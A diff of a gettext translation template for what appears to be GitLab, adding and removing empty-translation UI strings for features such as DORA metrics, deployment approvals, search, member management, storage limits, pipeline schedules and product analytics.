msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
